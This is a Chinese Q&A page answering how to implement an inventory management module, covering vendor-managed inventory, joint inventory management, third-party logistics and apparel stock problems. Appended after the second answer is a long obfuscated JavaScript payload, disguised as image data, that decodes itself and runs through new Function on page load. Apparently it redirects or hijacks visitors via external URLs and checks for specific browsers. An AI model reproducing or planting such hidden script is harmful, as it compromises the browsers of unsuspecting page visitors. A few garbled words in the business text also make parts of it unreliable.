如何实现库存管理模块

2025-02-06 16:59:12
推荐回答(2个)
回答1:

转载以下资料供参考

库存管理方法
1、实施供应商库存管理的信息沟通
供应商
实施供应商库存管理首先必须拥有一个良好的信息沟通平台,需要在原有企业拥有的EDI的基础上,重新整合原有的EDI资源来够建一个适合于供应商库存管理的信息沟通系统。
2 、供应商库存管理的工作流程设计
买方企业和供应商实施VMI后,必须进行针对VMI的工作流程来保证整个策略的实施。
整个供应商库存管理的实施都是透明化的,买方企业和供应商随时都可以监控。主要分为两个部分:
库存管理部分:其实是由销售预测和库存管理以及和供应商生产系统共同组成的,因为实施了供应商库存管理之后,这几个部分的工作主要由供应商和买方企业共同相协调来完成,所以把归为一种模块来处理:首先由买方企业那里获得产品的销售数据,然后和当时的库存水平相结合及时传送给供应商,然后由供应商的库存管理系统做出决策:如果供应商现有的仓储系统能够满足库存管理系统做出决策所需要的产品数量,就直接由仓储与运输配送系统将产品直接及时配送给买方企业,如果供应商现有的仓储系统能够不满足库存管理系统做出决策,就必须通知生产系统生产产品后再通过运输与配送系统及时将产品配送给买方企业。其中,在正式订单生成前,还应该交由买方企业核对,调整后再得出最后订单 。
仓储与运输配送系统:一方面负责产品的仓储:产品的分检入库以及产品的保存;另一方面负责产品的运输配送:产品按要求及时送达买方企业手中,同时负责编排尽量符合经济效益的运输配送计划,如批量运输和零担运输的选择,运输的线路和时间编排以及安排承载量等等;
供应商库存管理
3、供应商库存管理的组织结构调整
买方企业和供应商实施供应商库存管理后,为了适应新的管理模式,需要根据供应商管理库的工作流程来对组织机构进行相应的调整。
因为供应商库存管理是对原由企业的管理策略的一种“否定”,在双方企业之间肯定会有工作和职能上的合作和调整,所以为了保证供应商库存管理能够很好正常的运行,就有必要设立一个供应商库存管理协调与评估部门,主要的作用在于:
(1)原有企业之间的人员在实施供应商库存管理后,可能会因为工作上的合作而导致利益冲突,所以供应商库存管理协调&评估部门就可以制定一系列的工作标准来协调和解决这些问题,可以作为双方企业之间沟通的桥梁。
(2)因为实施供应商库存管理后,原有工作岗位就会适当合并和调整:如原有的买方企业库存和仓储人员的工作岗位再安排,他们可能会认为现有的供应商库存管理对他们来说是一种威胁到自己饭碗的威胁,所以供应商库存管理协调&评估部门就应该做好他们的工作,对他们的工作做出适当的安排和调整。
(3)对供应商库存管理的实施进行监控和评估,用以提供合理科学管理信息给企业高层,作为企业高层对企业调整的重要依据。
供应链中的不同成员存在着不同的相互冲突的目标,当系统没有协调时,供应链各成员自身优化而行动,结果只是局部最优,这导致重复建立库存,无法达到供应链整体的最优。为了实现全局最优,供应链成员应该认识到什么是对整个系统最优,为协调供应链各成员的行为,必须获得信息,而获得信息最有效的方式就是建立利益共享风险共担的战略联盟。这种双赢的伙伴关系,为供应链的库存管理提供了突破传统的管理方法。下面介绍三种供应链库存管理方法。
1.供应商管理库存
供应商管理库存 (Vendor Managed Inventory,简称VMI)系统,有时也称为“供应商补充库存系统”,是指供应商在用户的允许下,管理用户的库存,由供应商决定每一种产品的库存水平和维持这些库存水平的策略。在采用VMI情况下,虽然零售商的商品库存决策主导权由供应商把握,但是,在店铺的空间安排,商品货架布置等店铺空间管理决策方面仍然由零售商主导。VMI是建立在零售商———供应商伙伴关系基础上的供应链库存管理方法,它突破了传统的“库存是由库存拥有者管理”的模式,不仅可以降低供应链的库存水平,降低成本,还能为用户提供更高水平的服务,加速资金和物资周转,使供需双方能共享利益,实现双赢。VMI的特点是:
一方面信息共享,零售商帮助供应商更有效地做出计划,供应商从零售商处获得销售点数据并使用该数据来协调其生产、库存活动与及零售商的实际销售活动;
另一方面供应商完全管理和拥有库存,直到零售商将其售出为止,但是零售商对库存有看管义务,并对库存物品的损伤或损坏负责。实施VMI有很多优点。首先,供应商拥有库,对于零售商来说,可以省去多余的定货部门,使人工任务自动化,可以从过程中去除不必要的控制步骤,使库存成本更低,服务水平更高其次,供应商拥有库存,供应商会对库存考虑更多,并尽可能进行更为有效的管理,通过协调对多个零售生产与配送,进一步降低总成本。
第三,供应商能按照销售时点的数据,对需求做出预测,能更准确地确定客货批量,减少预测的不确定性,从而减少安全库存量,命名存储与供货成本更小,同时,供应商能更快响应用户需求,提高服务水平,使得用户的库存水平也降低。此外,实施VMI应注意以下几个问题:
(1)信任问题。这种合作需要一定的信任,否则就会失败。零售商要信任供应商,不要干预供应商对发货的监控,供应商也要多做工作,使零售商相信他们不仅能管好自己的库存,也能管好零售商的库存。只有相互信任,通过交流和合作才能解决存在的问题。
(2)技术问题。只有采用先进的信息技术,才能保证数据传递的及时性和准确性,而这些技术往往价格昂贵,利用 牛模杉 术将销售点信息和配送信息分别传输给供应商和零售商,利用条码技术和扫描技术来确保数据的准确性,并且库存与产品的控制和计划系统都必须是在线的,准确的。
(3)存货所有权问题。确定由谁来进行补充库存的决策以前,零售商收到货物时,所有权也同时转移了,变为寄售关系,供应商拥有库存直到货物被售出。同时,由于供应商管理责任增大,成本增加了,双方要对条款进行洽谈,使零售商与供应商共享系统整体库存下降。 (4)资金支付问题。过去,零售商通常在收到货物一至三个月以后才支付货款,可能不得不在货物售出后就要支付货款,付款期限缩短了,零售商要适应这种变化。
2 .联合库存管理
联合库存管理是建立在经销商一体化基础之上的一种风险分担的库存管理模式。它与VMI不同,它强调双方同时参与,共同制定库存控制计划,使供需双方能相互协调,使库存管理成为供需双方连接的桥梁和纽带。
传统的经销方法是,每个经销商根据市场需求预测直接向制造商定货,由于存在提前期,需要经过一段时间产品才能送到经销商手中,而顾客不愿意等这么久,因此,各个经销商不得不以库存来应付,同时,制造商为了缩短提前期也不得不保存库存来尽快满足客户要求。无论是经销商还是制造商,对于一个突然到来的订单只有通过增加库存和人员来满足客户需求。但是,由于有些产品的配件价格昂贵,费用较大,库存过多,会使经销商负担不起,同时,对制造商也是不经济的,所以,不能通过增加库存的方法来满足每一个客户的需求,必须寻找一种新的解决办法。借助现代信息系统技术,通过建立经销商一体化的战略联盟,把各个经销商的库存联合在一起,实现联合库存管理,可以很好地解决这一问题。联合库存管理是由制造商安装一个基于计算机的信息系统,把各个经销商的库存通过该系统连接起来,每个经销商可以通过该系统查看其他经销商的库存,寻找配件并进行交换,同时,经销商们在制造商的协调下达成协议,承诺在一定条件下交换配件并支付一定报酬,这样,就可以使每个经销商的库存降低,服务水平提高。实行联合库存管理有很多优点,对于经销商来说,可以建立覆盖整个经销网络的库存池,一体化的物流系统,不仅能使经销商的库存更低,使整个供应链的库存更低,而且还能快速响应用户需求,更有效快速地运输配件,减少了因缺货而使经销商失去销售机会的情况,提高了服务水平;对于制造商来说,经销商比制造商更接近客户,能更好对客户要求做更快的响应,并为购买产品安排融资和提供良好的售后服务,使制造商能集中精力,搞好生产,提高产品质量。专家曾说过:“经销商创造了一家公司的形象,绝不仅仅是站在产品背后的公司,而是在世界各地都与其产品同在的公司。”
实施联合库存管理要做好以下几方面的工作:
(1)要建立供需协调的管理机制。制造商要担负起责任,提供必要的资源与担保,使经销商相信承诺,协调其经销商的工作 (有时可能是相互竞争的经销商 ),本着互利互惠的原则,建立共同的合作目标和利益分配、激励机制,在各个经销商之间创造风险共担和资源共享的机会。
(2)建立信息共享与沟通的系统。利用EDI和POS系统,条码和扫描技术以及Internet的优势,在供需之间建立一个畅通的信息系统,使各经销商协调一致,快速响应用户要求。
(3)经销商之间要建立相互信息。有的经销商会怀疑参加这样一个系统是否值得,尤其是当他的库存比别人多的时候,同时,参与进来的经销商要依靠其他经销商来帮助他们提供良好的顾客服务,这时,制造商就要大力支持,要多做工作,使经销商之间建立信任,使不同的经销商能够发挥不同领域的技能,实现联合库存管理的目标。
3.利用第三方物流供应商来管理库存
由于资源的限制,没有哪一个公司可以自给自足,成为一个业务上面面俱到的专家。第三方物流供应商可以为其提供高效率的库存管理服务来满足客户的需求,使得供应链上的供应方集中精力于自己的核心业务,而不必建造新的仓储设施或长期租货而花费过多资金,从而降低库存成本,提供超过雇主公司更加多样化的顾客服务,改善服务质量。第三方物流战略,对制造商来说是利用外部资源,变物流的固定费用为变动费用,并可以得到物流专家的经验与物流技术的新成果,接受高质量的物流专业化服务,为用户提供更加满意的增值服务。第三方物流供应商起到了连接供应与用户之间桥梁纽带作用,使供需双方都消除了各自的库存,提高了供应链的竞争力。实行第三方物流要建立在合同基础之上,它是一种长期的合作联盟,双方要记住,这是一个互利互惠,风险共担、回报共享的第三方联盟。
库存管理的常见问题及解决方法
第一、销售计划不正确,很多代理商去订货的时候没有销售计划。首单不了解消费者的购买逻辑,造成订货不准;加盟商整体准确率不高,造成补货不准。订货不准确的首要原因是。据业内人士介绍,品牌商与代理商的合同要么是买断,要么是有一定退货率或换货率,没有形成真正有利于消化的相互调拨。虽然一些品牌商给代理商建立了一些调拨的途径,但由于没有系统化的数据分析,对代理商的库存有效减少没有起到真正的作用。
第二、订货会模式依赖分销商而不是消费者提供市场信息。这种模式下,真正的需求变成产品需要比较长的时间。国内大多数生产商从接单到成品上市平均需要90天时间,有的能达到120多天。这导致很多商店销售的都是上一季的流行款式。
第三、忽略设计本身、忽略消费者需求。生产商认为“当下国际流行款式在国内一线城市卖不动之后,可以放到二线、三线城市去卖”,如此只能导致产品的积压,因为他们忽略了互联网的力量和作用,也忽视了由于交通等原因造成的消费者消费理念的快速变化。
第四、利用限制理论解决库存问题。(限制理论,是指的是物理系统中的最薄弱环节决定整个系统的产出或者效率。)企业经营中最大的瓶颈就是销售产出,在挖掘销售最大产能的同时,要给它留缓冲,以使销售产出最大化,这个缓冲就是库存。也就是说要把销售做到最大化,就一定需要一定的库存作为缓冲,没有缓冲就没有业绩,零库存是不可能的。对于服装企业而言,最重要的就是如何破除原有的经营模式,代之以更有效的精细化管理的方式来有效地降低库存,保持企业、代理商和终端的库存平衡,并有效进行区域内和跨区域的调拨,最终实现公司、总代理、加盟商的业绩递增和低库存的运作。
按照服装企业的惯例,一般品牌正常销售(指的是最低零售折扣在5折以上)库存率在35%-45%之间,这些库存基本分布:一是品牌厂家,库存15%-20%(按照执行15%退货率,外加备货);二是区域总代理,库存5%-10%;三是加盟商,库存占到10%-15%左右。
第五、让卖方管理库存。例:某著名服装品牌采取的就是卖方管理库存模式。这是一种高级供应链管理方式,简单地说,就是指客户零库存,100%退货,并以此实现库存的优化和再分配,通过整合上游生产资源,借力终端信息化管理(TOC管理系统)和物流的支持实现销售终端“卖一补一”。
在业界,VMI模式也被称为“黑手党提案”,《老板》杂志表示这种模式吸引着客户去大规模开店,而闭店率却大幅下降,这也再次验证了在生产时期,不仅有过剩的危机,更可以找到品牌发展的契机,整体库存率控制在25%左右。

回答2:

库存控制是企业仓储管理的一个重要组成部分,它是在满足顾客服务要求的前提下通过对企业的库存水平进行控制,力求尽可能降低库存水平、提高物流系统的效率,以提高企业的市场竞争力。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();